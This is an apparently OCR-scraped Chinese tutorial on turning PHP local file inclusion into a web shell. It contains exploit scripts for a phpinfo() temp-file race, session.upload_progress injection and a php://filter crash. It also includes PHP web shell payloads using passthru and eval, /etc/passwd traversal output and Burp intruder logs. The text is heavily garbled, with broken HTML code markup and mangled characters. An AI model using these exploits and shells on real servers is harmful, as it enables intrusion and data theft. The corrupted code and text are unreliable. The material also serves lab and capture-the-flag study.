<span class="k">if</span> <span class="n">i</span><span class="0">.</span><span class="n">endswith</span><sp
an class="p">(</span><span class="s2">"0</span><span class="se">\r\n\r\n</span><span class="s2">"</span><span cl

ass="p">):</span>
<span class="k">break</span>

<span class="n"
<span class="n
">find</span><span class="p
<span class="k">if</span> <span class="n">i</span> <span class="0">==</span> <span class="o
="mi">1</span><span class="p">:</span>

<span class="k">raise</span> <span class="ne">ValueError</span><span class="p
php tmp_name in phpinfo output"</span><span class="p">)</span>

>s</span><span class="0">.</span><span class="n">close</span><span class="p
n">i</span> <span class="0">=</span> <span class="n">d</span><span class="o

>()</span>
>.</span><span class="n
"p">)</span>
>-</span><span class

>(</span><span class="s2">"[tmp_name] =&amp;gt; "</span><span class=

>(</span><span class="s2">"No

<span class="k">print</span> <span class="s2">"found </span><span class="si">%s</span><span class="s2"> at </spa
n><span class="si">%i</span><span class="s2">"</span> <span class="0">%</span> <span class="p

>(</span><span cla

ss="n">d</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><
span class="0">+</span><span class="mi">10</span><span class="p">],</span><span class="n">i</span><span class="p
">)</span>

<span class="cl1l"># padded up a bit</span>
<span class="k">return</span> <span class="n">i</span><span class="0">+</span><span class="mi">256</span>

def main():

<span class="k">print</span> <span class="s2">"LFI With PHPInfo()"</span>

<span class="k">print</span> <span class="s2">"-="</span> <span class="0">*</span> <span class="mi">30</span>

<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n

n">sys</span><span cla

ss= >.</span><span class="n

>:</span>

n">argv</span><span class="p">)</span> <span class="0">&1lt;</span> <span class="mi">

2</span><span class="p
<span class="k">print</span> <span class="s2">"Usage: </span><span class="si">%s</span><span class="s2"> hos

t [port] [threads]"</span> <span class="0">%</span> <span class="n">sys</span><span class="0">.</span><span clas

s="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>

<span class="n">sys</span><span class="0">.</span><span class="n

>)</span>

n">exit</span><span class="p">(</span><span c

lass="mi">1</span><span class="p

<span class="k">try</span><span class="p">:</span>

<span class="n">host</span> <span class="0">=</span> <span class="n">socket</span><span class="o

>.</span><s

pan class="n">gethostbyname</span><span class="p">(</span><span class="n">sys</span><span class="0">.</span><spa

n class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>

<span class="k">except</span> <span class="n">socket</span><span class="0">.</span><span class="n">error</span><

span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="k">print</span> <span class="s2">"Error with hostname </span><span class="si">%s</span><span cl

ass="s2">: </span><span class="si">%s</span><span class="s2">"</span> <span class="0">%</span> <span class="p">(

</span><span class="n">sys</span><span class="0">.</span><span class="n">argv</span><span class="p">[</span><spa

n class="mi">1</span><span class="p">],</span> <span class="n">e</span><span class="p">)</span>

<span class="n">sys</span><span class="0">.</span><span class="n">exit</span><span class="p">(</span><span c

lass="mi">1</span><span class="p">)</span>

<span class="n">port</span><span class="0">=</span><span class="mi">80</span>

<span class="k">try</span><span class="p">:</span>

<span class="n">port</span> <span class="0">=</span> <span class="nb">int</span><span class="p">(</span><spa

n A, Aamrr M AN( rivmr s mnmnny smnmin m Tl A T T s dmimmins smmnmin Al amre MM mnmiss fmnminay 2mtnmin mTamer MAN(T L Jmnmnas 2mtnmin Tl am e Ml
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">2</span><span class="p">])</span>

<span class="k">except</span> <span class="ne">IndexError</span><span class="p

>:</span>
<span class="k">pass</span>

<span class="k">except</span> <span class="ne">ValueError</span><span class="p">,</span> <span class="n">e</span

><span class="p">:</span>
<span class="k">print</span> <span class="s2">"Error with port </span><span class="si">%d</span><span class=
>(</sp

>[</span><span cl

"s2">: </span><span class="si">%s</span><span class="s2">"</span> <span class="0">%</span> <span class="p

an><span class="n">sys</span><span class="0">.</span><span class="n">argv</span><span class="p

ass="mi">2</span><span class="p">],</span> <span class="n">e</span><span class="p">)</span>

n">sys</span><span class="0">.</span><span class="n">exit</span><span class="p

<span class="n >(</span><span c

lass="mi">1</span><span class="p">)</span>
<span class="n">poolsz</span><span class="0">=</span><span class="mi">10</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">poolsz</span> <span class="0">=</span> <span class="nb">int</span><span class="p">(</span><s
pan class="n">sys</span><span class="0">.</span><span class="n">argv</span><span class="p">[</span><span class="
mi">3</span><span class="p">])</span>
<span class="k">except</span> <span class="ne">IndexError</span><span class="p
<span class="k">pass</span>

>:</span>

<span class="k">except</span> <span class="ne">ValueError</span><span class="p">,</span> <span class="n">e</span
><span class="p">:</span>

<span class="k">print</span> <span class="s2">"Error with poolsz </span><span class="si">%d</span><span clas
s="s2">: </span><span class="si">%s</span><span class="s2">"</span> <span class="0">%</span> <span class="p">(</
span><span class="n">sys</span><span class="0">.</span><span class="n">argv</span><span class="p">[</span><span
class="mi">3</span><span class="p">],</span> <span class="n">e</span><span class="p">)</span>

<span class="n">sys</span><span class="0">.</span><span class="n">exit</span><span class="p">(</span><span c

lass="mi">1</span><span class="p">)</span>

<span class="k">print</span> <span class="s2">"Getting initial offset..."</span><span class="p">,</span>

<span class="n">reqphp</span><span class="p">,</span> <span class="n">tag</span><span class="p">,</span> <span c

lass=

n">reqlfi</span> <span class="0">=</span> <span class="n">setup</span><span class="p
>)</span>

>(</span><span class=

n">host</span><span class="p">,</span> <span class="n">port</span><span class="p

<span class="n">offset</span> <span class="0">=</span> <span class="n">getOffset</span><span class="p">(</span><

span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span cla

ss="n">regphp</span><span class="p">)</span>

<span class=

n">sys</span><span class="0">.</span><span class="n">stdout</span><span class="0">.</span><span cla

ss="n">flush</span><span class="p">()</span>

<span class="n">maxattempts</span> <span class="0">=</span> <span class="mi">1000</span>

<span class="n">e</span> <span class="0">=</span> <span class="n">threading</span><span class="0">.</span><span

class="n">Event</span><span class="p">()</span>

<span class="n">1</span> <span class="0">=</span> <span class="n">threading</span><span class="0">.</span><span

class="n">Lock</span><span class="p">()</span>

<span class="k">print</span> <span class="s2">"Spawning worker pool (</span><span class="si">%d</span><span clas

s="s2">)..."</span> <span class="0">%</span> <span class="n">poolsz</span>

<span class="n">sys</span><span class="0">.</span><span class="n">stdout</span><span class="0">.</span><span cla

ss="n">flush</span><span class="p">()</span>

<span class="n">tp</span> <span class="0">=</span> <span class="p">[]</span>

<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><spa

n class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">poolsz</span><span class="p

">):</span>

<span class="n">tp</span><span class="0">.</span><span class="n">append</span><span class="p">(</span><span

class= n">e</span><span class="p">,</span><span class

n">ThreadWorker</span><span class="p">(</span><span class="n
n">1</span><span class="p">,</span><span class="n">maxattempts</span><span class="p">,</span> <span class="n">
n">reqgphp</

n">reqlfi</span

host</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n

span><span class="p">,</span> <span class="n">offset</span><span class="p">,</span> <span class="n
><span class="p">,</span> <span class="n">tag</span><span class="p">))</span>



<span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">tp</span><span cl
ass="p">:</span>
<span class="n">t</span><span class="0">.</span><span class="n">start</span><span class="p">()</span>
<span class="k">try</span><span class="p">:</span>
<span class="k">while</span> <span class="ow">not</span> <span class="n">e</span><span class="0">.</span><sp
an class="n">wait</span><span class="p">(</span><span class="mi">1</span><span class="p">):</span>
<span class="k">if</span> <span class="n">e</span><span class="0">.</span><span class="n">is_set</span><
span class="p">():</span>
<span class="k">break</span>
<span class="k">with</span> <span class="n">1</span><span class="p">:</span>
<span class="n">sys</span><span class="0">.</span><span class="n">stdout</span><span class="0">.</sp
an><span class="n">write</span><span class="p">(</span> <span class="s2">"</span><span class="se">\r</span><span
class="si">% 4d</span><span class="s2"> / </span><span class="si">% 4d</span><span class="s2">"</span> <span cl
ass="0">%</span> <span class="p">(</span><span class="n">counter</span><span class="p">,</span> <span class="n">
maxattempts</span><span class="p">))</span>
<span class="n">sys</span><span class="0">.</span><span class="n">stdout</span><span class="0">.</sp
an><span class="n">flush</span><span class="p">()</span>
<span class="k">if</span> <span class="n">counter</span> <span class="0">&gt;=</span> <span class="n
">maxattempts</span><span class="p">:</span>
<span class="k">break</span>
<span class="k">print</span>
<span class="k">if</span> <span class="n">e</span><span class="0">.</span><span class="n">is_set</span><span
class="p">():</span>
<span class="k">print</span> <span class="s2">"Woot! \m/"</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span> <span class="s2">":("</span>
<span class="k">except</span> <span class="ne">KeyboardInterrupt</span><span class="p">:</span>
<span class="k">print</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">Telling thr
eads to shutdown..."</span>

<span class="n">e</span><span class="0">.</span><span class="n">set</span><span class="p">()</span>

<span class="k">print</span> <span class="s2">"Shuttin' down..."</span>

<span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">tp</span><span cl

ass="p">:</span>
<span class="n">t</span><span class="0">.</span><span class="n">join</span><span class="p">()</span>

if name=="main”:

main()
EEEY SR
http://127.0.0.1:8233/1fi.php?file=../../../etc/passwd CIFHEE

http://127.0.0.1:8233/phpinfo.php

“— C ® 127.0.0.1:8233/Ifi.php?file=../../../etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:
/man:/usr/sbin/nologin Ip:x:7:7:Ip:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/ma
data:x:1000:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backi
/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologi
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"y ® 127.0.0.1:8233/phpinfo.php

System Linux dOb4e2b8d651 4.9.93-linuxkit-aufs #1 SMP Wed Jun 6 16:55:56 UTC
Build Date Mar 7 2019 20:31:49

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path letc/php/7.3/apache2

Loaded Configuration File

letc/php/7.3/apache2/php.ini

Scan this dir for additional .ini files

letc/php/7.3/apache2/conf.d

G BRI R B SR A
FERBR

de
TAG="Security Test"
PAYLOAD="""gs\1

Additional .ini files parsed

lete/nhn/7 3/anache?2/conf.d/10-mvsalnd.ini. /ete/nhn/7 3/anache?/conf.d/10

[<?php Sc=fopen('/tmp/g','w');fwrite(S$c, '<?php passthru($ GET["£"]);?>"');?>\r""" % TAG I

REQ D AT A= L S S S S

Content-Disposition: form-data; name="dummyname";

Content-Type: text/plain\r
\r

------------- --7dbff1ded0714==\r"""

padding="A" * 5000
# REEEEU Nphpinfo. phphithiit

7dbfflded0714\r

% PAYLOAD

REQ1="”"POST[/phpinfo.php?a=]""+padding+“”" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromclor39tétvnund2; othercockie=

HTTP ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r

Content-Type: multipart/form-data; boundary=-

Content-Length: %s\r

Host: %s\r

\r

%s""" %(len(REQL_DATA), host,REQL DATA)
#modify this to suit the LFI script
LFIREQ="""GET (1fi.php?file=§s HTTP/1.1\r

User-Agent: Mozilla/4.0\r

Proxy-Connection: Keep-Alive\r

Host: %s\r

\r

filename="test.txt"\r

+padding+"""\r

---—-7dbfflded0714\r

XA A B T2 A R Tag BTUAABED T DL 45— debugMiE R EER EF ITILRE
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RIE AT T py

python 1fi.py 127.0.0.1 8233 100

AELE BB T .
0x4.2.5.2 session + Ifi getshell

& session i, HATRE T i#
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session.upload_progress

session.save_path  /var/lib/php/sessions /var/lib/php/sessions //i@itphpinfo3kEsessionfi iz

IX BB FE AR
B AT Session A& #EE
BIHE A BRI

Y—A BT, RIRPOST—A 5INIH % B fisession.upload_progress.name@ &2 &R, LAEBEERTLIZES SESSIONH 3R

— 1 LEEHEBANSRRE T

<form action="upload.php" method="POST" enctype="multipart/form-data">

<input type="hidden" name="<?php echo ini_get("session.upload progress.name"); ?>" yalue="123" />
<input type="file" name="filel" />

<input type="file" name="file2" />

<input type="submit" />

</form>

fEsessionPFHIEIEE L ERIXHFH:

<?php
$_SESSION["upload_progreps_123"] =|array(
"start_time" => 1234567390 he request time

"content_length" => 57343257, // POST content length

"bytes_processed" => 453489, // Amount of bytes received and processed

A AR Blvalue B 7] AT B 5 A2 T session3C 4 B, iX s 25 BUR R R KR E .
phpBR AL & Ui B
ERINFF )8 session.upload_progress.enabled and session.upload_progress.cleanup

Cleanup the progress information as soon as all POST data has been read (i.e. upload completed). Defaults to 1, enabled. — E.
POSTi# R # 15 B 58 ik session P R 5t & 4 1E 2=

session.upload_progress.enabled "1" PHP_INI_PERDIR Available since
PHP 5.4.0.
session.upload_progress.cleanup 1" PHP_INI_PERDIR Available since
PHP 5.4.0.
Wi

11E LAERB(SEETRE)

<form action="http://127.0.0.1:8233" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
<input type="file" name="filel" />

<input type="file" name="file2" />


https://www.php.net/manual/zh/session.upload-progress.php
https://www.php.net/manual/zh/session.configuration.php#ini.session.upload-progress.name
https://www.php.net/manual/zh/reserved.variables.session.php
file:///Users/xq17/Library/Application%20Support/typora-user-images/image-20190630202853548.png
https://xzfile.aliyuncs.com/media/upload/picture/20190705134336-d5489788-9ee7-1.jpg
https://xzfile.aliyuncs.com/media/upload/picture/20190705134336-d570348c-9ee7-1.jpg

<input type="submit" />
</form>

wA _EAER ) sessionsC A

burp_ k4% J5:

Raw | Params | Headers | Hex Raw | Headers | Hex

POST / HTTP/1.1 HTTP/1.1 302 Found

Host: 127.0.0.1:8233 : Date: Sun, 30 Jun 2019 12:52:56 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Server: Apache/2.4.29 (Ubuntu)
Firefox/67.0 Location: login.php

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8 Content-Length: 0

Accept-Language: zh-CN,zh;g=0.8,2zh-TW;q=0.7,2zh-HK;q=0.5,en-US;g=0.3,en;g=0.2 Connection: close

Accept-Encoding: gzip, deflate Content-Type: text/html; charset=UTF-8

Referer: http://10.211.55.20:8081/upload.html
Content-Type: multipart/form-data;

boundary= 11195807895426057091358586001
Content-Length: 538

Connectgomr=ctos

Cookie;FHPSESSID:O7hm6245ia5h1fjcoqumq2vok ]

Upgrad o —pe

11195807895426057091358586001
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php phpinfo();?>

11195807895426057091358586001
Content-Disposition: form-data; name="filel"; filename=""
Content-Type: application/octet-stream

11195807895426057091358586001
Content-Disposition: form-data; name="file2"; filename=""
Content-Type: application/octet-stream

11195807895426057091358586001-~

A] LA B 4 MR B S 42 F i session fB /2 RN session. upload_progress.cleanup 78 i B SE post it session Bk &k
EHUBRNFBERARZGZS —EREERAE—EEE.

2 f# Fburp 4T &% %

1 R sessionth it B 12

/var/lib/php/sessions/sess_PHPSESSID

Wk

/var/lib/php/sessions/sess_07hm6245ia5h1fjcoqfmmg2vok

MER &R
http://127.0.0.1:8233/1fi.php?file=/var/lib/php/sessions/sess_07hm6245ia5h1fjcoqfmmqg2vok

ARG burp BT BB
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L% 2 x 3 x g
‘arget | Positions T Payloads T Options ]

B Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads a

Aﬁacktype:[SMper

[GET /1fi.php?file=/var/lib/php/sessions/sess_07hm6245ia5hlfjcogfmmg2vok HTTP/1.1

Host: 127.0.0.1:8233

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;g=0.8

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US5;g9=0.3,en;g=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: ysrc_token=e8cf9cd3ceb67ecd93a5c3ca839bb628; PHPSESSID=07hm6245ia5hlfjcogfmmg2vok
Upgrade-Insecure-Requests: 1

|2« el - |

a Positions T Payloads T Options ]

Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in whic

Attack type: [Sniper

POST / HTTP/1.1

Host: 127.0.0.1:8233

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;g=0.8

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2

Accept-Encoding: gzip, deflate

Referer: http://10.211.55.20:8081/upload.html

Content-Type: multipart/form-data; boundary=------—————-—-—-——-—————————— 11195807895426057091358586001
Content-Length: 538

Connection: close
Cookie:PHPSESSID=07hm6245ia5hl1fjcogfmmg2vok
Upgrade-Insecure-Requests: 1

----------------------------- 11195807895426057091358586001
Content-Disposition: form-data; name="PHP_SESSION_ UPLOAD PROGRESS"

<?php phpinfo();?>
_____________________________ 11195807895426057091358586001

Content-Disposition: form-data; name="filel"; filename=""
Content-Type: application/octet-stream

----------------------------- 11195807895426057091358586001
Content-Disposition: form-data; name="file2"; filename=""
Content-Type: application/octet-stream

_____________________________ 11195807895426057091358586001~~

payload# B NULL payloads

HREEZRBES000K, EERBE 1000R (X LL—1A FF 818 K R E —14 4 &)
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@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various pay
each payload type can be customized in different ways.

Payload set: [1 \V] Payload count: 100

Payload type: [Null payloads \V] Request count: 0

Payload Options [Null payloads]

&)

This payload type generates payloads whose value is an empty string. With no payload markers configured, this can be used to repeatedly

® Generate | 100 | payloads

(O Continue indefinitely

(2] Pavload Processina

| Filter: Showing all items

Request | Payload | Status | Error | Timeout | Length ¥ | Comment
1597 null 200 O O 105212
1530 null 200 ] O 105212
1482 null 200 O J 105212
1492 null 200 ] (] 105212
1488 null 200 O | 105212
1379 null 200 UJ ] 105212
1469 null 200 O O 105212
1345 null 200 ] O 105212
1563 null 200 ] OJ 105211
1330 null 200 O OJ 105211
0 200 ] OJ 166

2 null 200 O O 166

1 null 200 U] 0] 166
15 null 200 O UJ 166
14 null 200 ] OJ 166

13 null 200 1 [ 166

Request | Response 1

J Raw T Headers T Hex T HTML T Render ]

<tr><td class="e">Registered PHP Streams</td><td class="v">https, ftps, compress.zlib, php, file, glob, data, http, ftp, zip,
phar</td></tr>

<tr><td class="e">Registered Stream Socket Transports</td><td class="v">tep, udp, unix, udg, ssl, tls, tlsvl.0, tlsvl.1,
tlsvl.2</td></tr>

<tr><td class="e">Registered Stream Filters</td><td class="v">zlib.*, string.rotl3, string.toupper, string.tolower,
string.strip_tags, convert.*, consumed, dechunk, convert.iconv.*</td></tr>

</table>

<table>

<tr class="v"><td>

<a href="http://www.zend.com/"><img border="0"

src="data: image/png;base64, iVBORWOKGgoAAAANSUhEUgAAAPOAAAAVCAYAAADKHIehAAAAGKRFWHRTb2Z 0d2Fy ZOBBZG9 i ZSBIbWFnZVJILYWR5cc L1PAARAEW]
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#!coding:utf-8

import requests
import time
import threading

host = ‘http://127.0.0.1:8233/
PHPSESSID = ‘vrhtvjd4j1sd88onr92fmot2gt

def creatSession():

while True:

files = {

“upload” : (“tmp.jpg”, open("/etc/passwd", “rb”))

}
data = {"PHP_SESSION_UPLOAD_PROGRESS” : “<?php echo md5(‘1’);?>" }

headers = {{Cookie’:'PHPSESSID=" + PHPSESSID}
r = requests.post(host files = files,headers = headers,data=data)

fileName = “/var/lib/php/sessions/sess "+PHPSESSID

if name == ‘main’:

<span class="n">url</span> <span class="0">=</span> <span class="s2">

{}/1fi.php?file={}"</span><span class="0">
.</span><span class="n">format</span><span class="p">(</span><span class="n">host</span><span class="p">,</span>
<span class="n">fileName</span><span class="p">)</span>
<span class="n">headers</span> <span class="0">=</span> <span class="p">{</span><span class="s1">'Cookie'</span>
<span class="p">:</span><span class="s1">'PHPSESSID="'</span> <span class="0">+</span> <span class="n">PHPSESSID<
/span><span class="p">}</span>
<span class="n">t</span> <span class="0">=</span> <span class="n">threading</span><span class="0">.</span><span
class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="0">=</span><span class=
"n">creatSession</span><span class="p">,</span><span class="n">args</span><span class="0">=</span><span class="p
">())</span>
<span class="n">t</span><span class="0">.</span><span class="n">setDaemon</span><span class="p">(</span><span cl
ass="bp">True</span><span class="p">)</span>
<span class="n">t</span><span class="0">.</span><span class="n">start</span><span class="p">()</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">res</span> <span class="0">=</span> <span class="n">requests</span><span class="0">.</span><
span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span><span class="
n">headers</span><span class="0">=</span><span class="n">headers</span><span class="p">)</span>
<span class="k">if</span> <span class="s2">"c4ca4238a0b923820dcc509a6f75849b"</span> <span class="ow">in</sp
an> <span class="n">res</span><span class="0">.</span><span class="n">content</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s2">"[*] Get shell success."</span><spa
n class="p">)</span>
<span class="k">break</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s2">"[-] retry."</span><span class="p">
)</span>
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Get shell success.
Finished in 1.6s
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import requests
from io import BytesIO
import re
files = {
'file': BytesIO('<?php eval($_REQUEST[sky]);")
}
url = "http://ip/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd’
try:
r = requests.post(url=url, files=files, allow_redirects=False)
except:
url = 'http://ip/dir.php’
r = requests.get(url)
data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(@)
url = "http://ip/index.php?file=/tmp/"+data
data = {
"sky':"readfile('/flag');"
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}
r = requests.post(url=url,data=data)
print r.content
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